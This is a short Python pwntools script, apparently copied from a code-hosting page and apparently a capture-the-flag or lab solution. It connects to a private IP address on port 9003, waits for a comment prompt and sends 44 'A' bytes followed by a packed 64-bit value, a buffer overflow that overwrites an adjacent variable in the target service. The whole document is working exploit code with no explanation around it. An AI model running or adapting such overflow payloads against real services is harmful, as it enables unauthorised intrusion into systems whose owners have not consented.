17 lines
256 B
Python
17 lines
256 B
Python
#! /bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.log_level = 'error'
|
|
|
|
r = remote("10.10.111.44", "9003")
|
|
|
|
payload = b"A" * 44
|
|
payload += p64(1)
|
|
|
|
r.recvuntil(b"Please go ahead and leave a comment :\n")
|
|
r.sendline(payload)
|
|
|
|
print(r.recvline().decode())
|
|
r.close()
|